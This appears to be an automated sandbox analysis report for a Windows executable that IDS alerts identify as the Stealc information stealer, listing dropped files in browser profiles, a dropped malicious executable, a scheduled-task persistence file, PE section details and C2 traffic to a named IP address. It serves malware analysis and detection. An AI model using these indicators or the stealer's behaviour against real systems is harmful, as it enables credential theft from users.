Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\f357ea67-95f5-4a11-98ab-5a8acc467316.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.034757609438718286
Encrypted:	false
SSDEEP:	3:GtlstFFvWKuf4qh/ltlstFFvWKuf4qqlL89//alEl:GtWtuN4OtWtuN4lx89XuM
MD5:	30405D7009D1F170377791105BEE2434
SHA1:	81D88984D715608A6EBF55DC13D7D75AC081F417
SHA-256:	34E821AEA25367A78091DA5D35DB7274A5B673B62298003F7337351397F6B8DB
SHA-512:	A8319A8A6354F994EE38084C47E9AA8AB5CB022052844E816C3584ACC1A7D99BDA2508A3FF3F03DBA201E189069B2CFF86D30A2FED2DC4F0901656B46B9406FD
Malicious:	true
Reputation:	unknown
Preview:	..-......................Js.R.U(\|......3I......-......................Js.R.U(\|......3I............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03422699126973367
Encrypted:	false
SSDEEP:	3:Ol152UHqKglNZR4nKlx5SrV//mwl8XW3R2:K6nKglLR4+Spuw93w
MD5:	392AFE02E2FDB57856605FEE5A77081C
SHA1:	A0A60EDF3ED1C336D46C2EA22409FAAF9DFA1119
SHA-256:	63FCD7BB244AAEDC45662B170CE82718D801F62C3973A06F2FBBD2280FBD0235
SHA-512:	135DE97B44583FCFB56AB8B069EF01838F381CE415BCE2A645FEFF4B960DEF16AE59C4134D4AC0E9DD0EB9921473FBBB3D38177F377EF3A1E26AF061CCBAF163
Malicious:	true
Reputation:	unknown
Preview:	7....-..........\|............4........\|......sJ.(U.R................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499785167066198
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp6YLZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCe1FNMr4yrdwB0
MD5:	CC3875024ABD5ECBC8E824B274ADFD98
SHA1:	8E62C838B2AEA828EFFE57A97B166B259906470B
SHA-256:	1A7AC1B3129B81463C336D71ECDB728209EE8D7140D74EEA711C17C3C185C41F
SHA-512:	0A6D3639B79391E3919D76601178CA04EED5A62237FB1E3BD5B6B17F24AABA65D05C25EE53EF2C7F36A5F960228CB9ED8D71A5EB759157A787B09A3F3AF66CF5
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499785167066198
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp6YLZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCe1FNMr4yrdwB0
MD5:	CC3875024ABD5ECBC8E824B274ADFD98
SHA1:	8E62C838B2AEA828EFFE57A97B166B259906470B
SHA-256:	1A7AC1B3129B81463C336D71ECDB728209EE8D7140D74EEA711C17C3C185C41F
SHA-512:	0A6D3639B79391E3919D76601178CA04EED5A62237FB1E3BD5B6B17F24AABA65D05C25EE53EF2C7F36A5F960228CB9ED8D71A5EB759157A787B09A3F3AF66CF5
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIJKFHDBKFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1946624
Entropy (8bit):	7.94899277809021
Encrypted:	false
SSDEEP:	49152:97ga9jmnMYCBPzyzukY7uy6Go5GwsOrRSvlaqMyc5:90cmnVz+7uVGo5Gwshv
MD5:	8A320F1C2E6D0F0B93453F0ADA342759
SHA1:	E734719B0AD89FA7557DA0BB8608E299F9961E68
SHA-256:	6B9ED1B5F724A42F70456A7584A705517A326C7A0C358542C6AE236812AFA656
SHA-512:	DEBE599EAC585CB011BCD7131DEEC94DC41BE22E1F807D497B8B0257A28304ED7972D2657B3BD0437BB932172AD0B9BCCA93C92F1E12B3139B6549012480A76F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M.....#.....@.................................W...k.......H...................<.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...feznedxr.....`2.....................@...batlnaql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIJKFHDBKFC.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.464469723955784
Encrypted:	false
SSDEEP:	6:H+yXUhXUEZ+lX1CGdKUe6tE9+AQy0lB7ct0:eA4Q1CGAFD9+nVB7ct0
MD5:	2C506FAA9E58E9FCC8DA19630B5E73D1
SHA1:	1A0914A00EB5642B70D71F5F221DC4F7506520B3
SHA-256:	55B534803461845E48DE618EC95E5EF467050DDCEE00C1016F71805163D1F44B
SHA-512:	E102483F343CBAF22656A4EAB5E93B83C6114F942A8455E78B419FBC113EFCC3FA188EC9987FE44E1A61EDA06210220BE16050125F7F953B21CED28340124E80
Malicious:	false
Reputation:	unknown
Preview:	.........H`G.Y.]w.p.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................*.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945672756773012
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'828'352 bytes
MD5:	cac804be5a8c3370120fbdc37e4c6ec7
SHA1:	ad7c2c51c8be6b3375e32a75b0417f3f0e9166f5
SHA256:	dd19c480ab45acf19038eed898ed4e0c39eec6d9f9a1252f06a740da920711bc
SHA512:	d4bea90aba4e48aa881c368b0ada85fee91224d75b18a405d1e89c22f836c4ec60804a773a8e0b1e1bbd0b0e7071e1c239cc0908e10072cdfbd9dd4096c1cb05
SSDEEP:	49152:klLNjPFw5g32sE5n4ajOJTbTBwklPefKe/yH00/k:MLND0PQaQbTBwUPeye/yUN
TLSH:	C08533001C3B2973C68AF7FF5B5F735E6525D98A11C22F7BE446E6B50C1B086BA4C9A0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD2D8BA3DAAh
pinsrw mm3, word ptr [ebx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD2D8BA5DA5h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2affd58e58ab88d59b28be73c1fdaffb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	463717abea5d3d4f1adba07e760fce0a	False	0.583984375	data	4.534291546853095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b4000	0x200	027b33d6fdff5411bacb9b9bd08c058a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
owiwlckr	0x500000	0x1a5000	0x1a4600	a27dc52891cd299e13c8864f5a5a3924	False	0.9949734472569135	data	7.954218911130909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gktksauk	0x6a5000	0x1000	0x600	d43b80617ea1e94ed33840aace0fd83b	False	0.55078125	data	4.9231087735837	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	8aeb22d72fc08de9db856741178c8daf	False	0.06020220588235294	DOS executable (COM)	0.7108243061199614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a446c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T04:41:09.646100+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:41:09.930158+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:41:09.936374+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-11-18T04:41:10.211791+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:41:10.218936+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-11-18T04:41:11.303456+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
